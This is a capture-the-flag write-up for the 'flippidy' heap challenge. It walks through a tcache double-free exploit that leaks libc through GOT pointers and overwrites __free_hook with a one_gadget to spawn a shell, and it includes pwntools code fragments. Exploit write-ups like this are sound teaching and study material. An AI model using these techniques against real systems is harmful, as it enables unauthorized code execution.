flippidy
Solves: 62
Points: 149
Description:
See if you can flip this program into a flag :Dnc dicec.tf 31904
flippidy
45ffbb615d868486383a07220e6e6bfclibc.so.6
50390b2ae8aaa73c47745040f54e602fAuthor: joshdabosh
TLDR
- Set the limit of notes to 1.
- Alloc a new note with the global
0x404020
. - Running flip will trigger a double free and poison the next pointer of tchachebin[0x40] to
0x404020
. - Next malloc will write to
0x404020
which is where is located the pointer of the strings of the menu. - Change this pointers to a
GOT['fgets']
to get a leak, at the same time we can corrupt the pointer at0x404040
to0x404158
. 0x404158
is the address of the first entry of the note list having the control of this will give us arbitrary write at our control.- Change the pointer at
0x404158
to free_hook and set it toone_gadget
. - Trigger free with
flip function
to get a shell.
Information extraction
File1
2$ file flippidy
flippidy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9bad92d378d5af68a52fd2856145dc8588533a25, for GNU/Linux 3.2.0, stripped
Security1
2
3$ checksec --file=flippidy
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 4 flippidy
Static analysis
Main function
1 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
The main function asks for the size of the note list, the size of the list is stored at 0x404150
:
1 | __int64 sub_401254() |
sub_4011c6
will print the menu with the options to operate on the notebook, note that the strings are present in a global variable at 0x404020
.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18int sub_4011C6()
{
int result; // eax
int i; // [rsp+Ch] [rbp-4h]
result = puts("\n");
for ( i = 0; i <= 3; ++i )
result = puts(off_404020[i]);
return result;
}
...
while ( 1 )
{
sub_4011C6();
printf(": ");
...
}
...
A very important thing to refer that offsets at 0x404020
contains pointers (we can use this later if we manage to get an arbitrary write to leak libc):
1 | .data:0000000000404020 off_404020 dq offset aMenu ; DATA XREF: sub_4011C6+2A↑o |
Add to your notebook
We can add new notes with option 1, the size is limited to 0x30.
1 | int sub_4012D0() |
Flip function
Flip function will exchange the position of the notes hence the name flipping, in the end it frees the old notes and mallocs the new ones by copping their contents with strcpy.
For example if the notebook has 2 notes this how it works:
strcpy
the contents of 1st note tos
.- Frees 1st note.
strcpy
the content of 2nd note todest
.- Frees 2nd note.
malloc
and store this new chunk at the position of the 2nd note andstrcpy
the content of the 1st notes
.malloc
and store this new chunk at the position of the 1st note andstrcpy
the content of the 2nd notedest
.
1 | unsigned __int64 sub_401378() |
Getting a leak
To get a leak we first need to find a way to get an arbitrary write, we know that the pointers to the strings of the menu are present at a global variable at 0x404020
if we can manage to change this pointer to a GOT address we can leak a libc address.
What happens if we run the flip function when the size of the notebook only has 1 note ?
The 1st note will be also the last note! because of this we will have a double free! and at the same time we will corrupt the next pointer of the tcachebin[0x40] list to the value we want!
Visually this is what happens:
Source code to achieve this:
1 | def add(index, content): |
Next malloc will overwrite data in 0x402020 which contains the pointers of the MENU, if we change them to a GOT address we will leak libc in the next menu print of the loop.
The tcache bin list is looking like this right now:
0x0000000000404020 -> 0x0000000000404040 -> 0x654d202d2d2d2d2d
We have enough bytes to overwrite the 3rd item of the list at 0x404040 we can easily poison this tcache bin by changing it to 0x404158.
0x404158 address is important because it contains the pointer of the first note of the notebook, if we control this value we will be able to write anywhere.
1 | # 0x0000000000404020 -> 0x0000000000404040 -> 0x654d202d2d2d2d2d |
Getting a shell
Now that we have libc we just need to overwrite malloc_hook or free_hook to one_gadget to get a shell.
After our last malloc the tcachebin is looking like this:
0x0000000000404040 -> 0x0000000000404158 -> 0x0000000000b65260 -> 0x404020 -> …
1st malloc and setting 0xdeadbeef as input, the list will look like this:
0x0000000000404158 -> 0x0000000000b65260 -> 0x0000000000404040 -> 0x00000000deadbeef2nd malloc and setting p64(LIBC+libc.symbols[‘__free_hook’]) as input:
0x0000000000b65260 -> 0x0000000000404158 -> FREE_HOOK -> 0x03rd malloc and setting 0xdeadbeef as input:
0x0000000000404158 -> FREE_HOOK -> 0x0000000000b65260 -> 0xdeadbeef4th malloc and setting p64(LIBC+libc.symbols[‘__free_hook’]) as input:
FREE_HOOK -> 0x0000000000404158 -> FREE_HOOK -> …
Next malloc will write into FREE_HOOK, with that we can easily fill it with one_gadget address.
The python code:1
2
3
4
5
6
7
8
9
10# 0x0000000000404040 -> 0x0000000000404158 -> 0x0000000000b65260 -> 0x404020 -> ...
add(0,p64(0xdeadbeef))
# 0x0000000000404158 -> 0x0000000000b65260 -> 0x0000000000404040 -> 0x00000000deadbeef
add(0,p64(LIBC+libc.symbols['__free_hook']))
# 0x0000000000b65260 -> 0x0000000000404158 -> FREE_HOOK -> 0x0
add(0,p64(0xdeadbeef))
# 0x0000000000404158 -> FREE_HOOK -> 0x0000000000b65260 -> 0xdeadbeef
add(0,p64(LIBC+libc.symbols['__free_hook']))
# FREE_HOOK -> 0x0000000000404158 -> FREE_HOOK -> ...
add(0,p64(ONE_SHOT)) # Sets FREE_HOOK to ONE_SHOT
Triggering free to get a shell:
1 | flip() # Triggers free_hook and gets ourselves a shell |
The entire script:
1 | from pwn import * |
Running the script:
1 | $ python flippidy.py REMOTE |